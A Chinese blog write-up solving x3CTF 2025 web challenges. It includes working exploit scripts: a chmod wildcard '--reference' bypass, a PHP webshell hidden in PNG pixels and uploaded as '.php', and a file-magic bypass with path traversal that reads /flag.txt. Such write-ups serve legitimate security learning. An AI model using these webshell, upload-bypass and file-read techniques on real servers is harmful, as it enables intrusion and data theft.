当前位置: 首页 > news >正文

x3CTF-2025-web-复现

文章目录

  • submission
  • kittyconvert
  • MVMCheckers-Inc
  • blogdog

submission

只允许上传txt文件,看源码上传到uploads文件夹下,但是uploads文件夹权限是000,怎么绕过这一限制呢,难道要条件竞争吗image-20250517211238116

实际上如果在命令中使用通配符*是很危险的,因为如果上传的文件是.txt,在linux中就会被识别为隐藏文件,通配符无法找到。

其次,如果文件夹里有些文件名长得像命令的选项(比如 --help),系统可能会把这些文件名误以为是你想传给命令的参数。

接下来,chmod 命令中有一个 --reference=< 文件名> 选项,它会将所有文件更改为与 < 文件名> 相同的版本,可以将文件权限改为之前藏起来的.txt文件

https://www.freebuf.com/articles/system/176255

chdir($target_dir);
// make unreadable
shell_exec('chmod 000 *');

所以到这里我们的思路很清晰了

1.上传.txt文件绕过检测

2.上传–reference=.txt

3.读flag

kittyconvert

毫无疑问这是一道很像misc的web题

关键在于正则匹配这里,跟上一道题很相像,我们同样可以用类似.php这样的隐藏文件名来绕过

image-20250519110113213

如果我的捕获组1什么都捕获不到,就不会发生替换,这里可以做一个简单的测试

image-20250519111121210

基于此,我们可以传入php文件,接下来需要将脚本内容放到png图片里,因为传入的脚本还会进行一次图片格式的转换

ICO 文件特性:ICO 格式基于位图(BMP),支持 RGBA 数据。可以通过控制图片的 BGRA 值嵌入任意数据(例如 PHP 代码),但透明度值(A 通道)的 LSB(最低位)会被截断,因此只能使用 ASCII 值偶数的字符。

伪装为图片:将 PHP 代码嵌入 PNG 图片的像素数据(RGBA 通道),可以绕过服务器对文件类型的检查。脚本设置 MIME 类型为 image/png(files = {‘file’: (‘.php’, out, ‘image/png’)}),使服务器认为这是一个合法图片。

数据嵌入:PNG 的 RGBA 像素可以存储任意字节数据:

  • 每个像素有 4 个通道(R, G, B, A),存储 4 字节。
  • 64x64 图片有 4096 像素,可存储 4096 × 4 = 16,384 字节,远超 payload 的 33 字节。
  • 脚本将 PHP 代码的字节(如 < = 60, ? = 63)映射到像素的 RGBA 值。

ICO 转换保留数据:服务器将 PNG 转换为 ICO 时,提取像素的 BGRA 数据,可能直接保存为文件内容。由于文件名是 .php,服务器不会将其视为图片,而是存储为原始文件(包含 PHP 代码)。

from PIL import Image
import requests
import iourl="http://localhost:70/"im=Image.new("RGBA",(64,64),"white")
pix=im.load()payload=b"<?php    echo(exec($_GET[\"c\"])) ; ?>"
for i,vals in enumerate(zip(*[iter(payload)]*4)):if vals[3]%2==1:print(f"invalid alpha character '{payload.decode()[i*4+3]}' ({vals[3]}) (needs to be divisible by 2)")pix[(i%64,i//64)]=(vals[2],vals[1],vals[0],vals[3])out=io.BytesIO()
im.save(out,"PNG")
out.seek(0,0)
files={'file':('.php',out,'image/png'),'submit':(None,'Convert'),
}r=requests.post(url,files=files)
r=requests.get(url+"uploads/.php?c=cat+/flag.txt")
print('Flag: x3c{' + r.text.split("x3c{")[1].split("}")[0] + '}')

MVMCheckers-Inc

进来有一个上传图片的路由,上传的图片可以在另一个路由看到

看源码处理上传的逻辑部分

$uploadFile = "./magicians/" . $_POST["name"] . ".magic";
$tmpFile = $_FILES["magician"]["tmp_name"];$mime = shell_exec("file -b $tmpFile");

tmpFile是不可控的,否则可以直接命令注入了

if (!preg_match('/\w{1,5} image.*/', $mime)) {echo "<p>Invalid upload!</p>";exit();
}if (str_contains($uploadFile, "php")) {echo "<p>Invalid magician name!</p>";exit();
}

需要绕过一下两个if,才能把文件成功上传,先暂且不考虑怎么绕过,我们需要上传的是什么东西,在rebuild/index.php中可以看到,它可以解析json文件,并读取特定的文件,也就是说我们最终的利用点应该在这里,所以需要想办法传一个合适的json文件上去

function interpret($section) {$content = null;switch ($section->type) {case "text":$content = $section->value;break;case "link":$content = file_get_contents($section->value);break;}return "<$section->tag>$content</$section->tag>";
}

用ai写一个攻击json,

{"sections": [{"type": "link","tag": "div","value": "file:///etc/passwd"  // 读取系统敏感文件}]
}

接下来有一个很明显的点,做的时候竟然没意识到,还是在文件名上做文章,可以打一个路径穿越,可以在name中进行,作用应该是把上传的文件放到rebuild目录下

回到json文件,要让file命令检测出的MIME类型为image,并且可以通过json文件的解析

搜索过程看到一些绕过file的东西

image-20250717212236259

尝试一手

image-20250717213457965

但是发现可以上传到上级目录,但是不能传到rebuild目录,这倒是小事,读的时候也路径穿越就可以了

但是显示页面不存在,所以还是json解码的时候失败了,能否构造json解码不失败的文件呢,看看其他人的wp

https://blog.regularofvanilla.com/posts/x3c#[Web]%20mvmcheckers-inc

好强,人直接去看file命令的源码了,也是一种思路

简单说,就是在第2048字节后加上PCD_IPI,就可以使file命令检测其为Kodak Photo CD image pack file文件

然而存在一个优先级问题我的理解就是先判断json,不符合json格式才会去2048字节,所以下述代码会输出json data

file = b"""{"sections": [{"type": "link", "tag": "i", "value":  "/flag.txt", "x": "a"""
file += (b"x" * (2048 - len(file))) + b'PCD_IPI"}]}'
open("test", "wb").write(file)
os.system("file -b test")

但是,我们注意看代码

$pageString = file_get_contents("./$pageName");
$sanitized = str_replace("\\", "", $pageString);
$pageObject = json_decode($sanitized, flags: JSON_INVALID_UTF8_IGNORE);

会移除\符号,所以只需要用这个符号破坏json格式即可

简单做一个测试

import os
file = b"""\\{"sections": [
{"type": "link","tag": "div","value": "/flag.txt" }]
}"""
file += (b"x" * (2048 - len(file))) + b'PCD_IPI"}]}'
open("test", "wb").write(file)
os.system("file -b test")

发现成功判断为柯达映像文件

完整代码

import requests# URL = "https://45e2d4ee-d444-4631-ac4c-c1d2e59daebc.x3c.tf:31337/"
URL = "http://localhost:8080/"
EVIL = "https://xxx.ngrok.app/"file = b"""\\{"sections": [{"type": "link", "tag": "i", "value":  "/flag.txt", "x": "a"""
file += (b"x" * (2048 - len(file))) + b'PCD_IPI"}]}'s = requests.session()
r = s.post(URL + "administration.php", files={"magician": ("x", file)
}, data={"name": "../xxxxx"
})r = s.get(URL + "rebuild/?page=../xxxxx.magic")print(r.status_code)
print(r.text)

blogdog

看上去似乎是要打一个有过滤的xss

同源策略:协议,主机,端口号都必须相同

没看懂这道题要干什么

http://www.xdnf.cn/news/1137601.html

相关文章:

  • 【SAP SD】跨公司销售、第三方销售、STO采购(公司间合同配件)
  • JS - - - - - 数组乱序排序「进阶版」
  • 自动化测试工具 Selenium 入门指南
  • 排序算法—交换排序(冒泡、快速)(动图演示)
  • 闲庭信步使用图像验证平台加速FPGA的开发:第二十课——图像还原的FPGA实现
  • HTML表格基础
  • MailAgentProcess.getInstance
  • API开发提速新方案:SmartBear API Hub与ReadyAPI虚拟化整合实践
  • 如何在PyCharm中切换其他虚拟环境
  • OCR 赋能档案数字化:让沉睡的档案 “活” 起来
  • web后端开发(javaweb第十天)
  • yolo8+ASR+NLP+TTS(视觉语音助手)
  • 算法提升之字符串练习-02(字符串哈希)
  • 小红书获取关键词列表API接口详解
  • MongoDB 与MySQL 及es的区别
  • AllDup(重复文件查找)v4.5.70 便携版
  • 基于MATLAB和ZEMAX的光学传递函数与调制传递函数联合仿真
  • 初试Spring AI实现聊天功能
  • mysql——搭建MGR集群
  • 分布式分片策略中,分片数量的评估与选择
  • 基于单片机公交车报站系统/报站器
  • Jenkins Git Parameter 分支不显示前缀origin/或repo/
  • 2024年ASOC SCI2区TOP,基于干扰模型的灰狼优化算法IIE-GWO+复杂丘陵地形农业无人机轨迹规划,深度解析+性能实测
  • 医院各类不良事件上报,PHP+vscode+vue2+element+laravel8+mysql5.7不良事件管理系统源代码,成品源码,不良事件管理系统
  • 板凳-------Mysql cookbook学习 (十一--------12)
  • Python22 —— 标准库(random库)
  • Linux的Ext系列文件系统
  • 【JVM】深入理解 JVM 类加载器
  • 【推荐100个unity插件】使用C#或者unity实现爬虫爬取静态网页数据——Html Agility Pack (HAP)库和XPath 语法的使用
  • Java学习--JVM(2)